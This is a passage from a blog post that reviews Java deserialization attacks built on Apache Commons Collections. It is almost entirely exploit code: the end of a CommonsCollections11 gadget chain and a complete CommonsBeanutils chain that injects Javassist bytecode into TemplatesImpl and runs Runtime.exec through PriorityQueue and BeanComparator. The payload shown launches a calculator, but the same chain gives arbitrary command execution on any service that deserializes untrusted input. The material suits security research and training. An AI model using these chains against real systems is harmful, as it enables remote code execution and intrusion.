f.setAccessible(true);
HashMap hashset_map = (HashMap) f.get(hashset);

Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}

f2.setAccessible(true);
Object[] array = (Object[])f2.get(hashset_map);

Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node,tiedmap);

Field f3 = transformer.getClass().getDeclaredField("iMethodName");
f3.setAccessible(true);
f3.set(transformer,"newTransformer");

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11"));
outputStream.writeObject(hashset);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc11"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}

}

Common Collections Beanutils

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package src;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错

byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};

Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "test");

Field _tfactoryFiled = TemplatesImpl.class.getDeclaredField("_tfactory");
_tfactoryFiled.setAccessible(true);
_tfactoryFiled.set(templates, new TransformerFactoryImpl());

Field _bytecodesFiled = TemplatesImpl.class.getDeclaredField("_bytecodes");
_bytecodesFiled.setAccessible(true);
// 满足 TemplatesImpl 中的要求

_bytecodesFiled.set(templates, targetByteCodes);

BeanComparator<Object> objectBeanComparator = new BeanComparator<>("outputProperties");
TransformingComparator<Object, Integer> transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue<Object> objectPriorityQueue = new PriorityQueue<Object>(transformingComparator);

objectPriorityQueue.add(templates);
objectPriorityQueue.add(1);

Field comparatorField = PriorityQueue.class.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(objectPriorityQueue, objectBeanComparator);

// serializeImpl.serialize(objectPriorityQueue);
serializeImpl.unserialize("ser.bin");
}
}

Java Deserialize Review - base on common collection
https://blog.lincoke.cc/2025/10/09/Java-Deserialize-Review-base-on-common-collection/
作者
Lin Coke
发布于
2025年10月9日
许可协议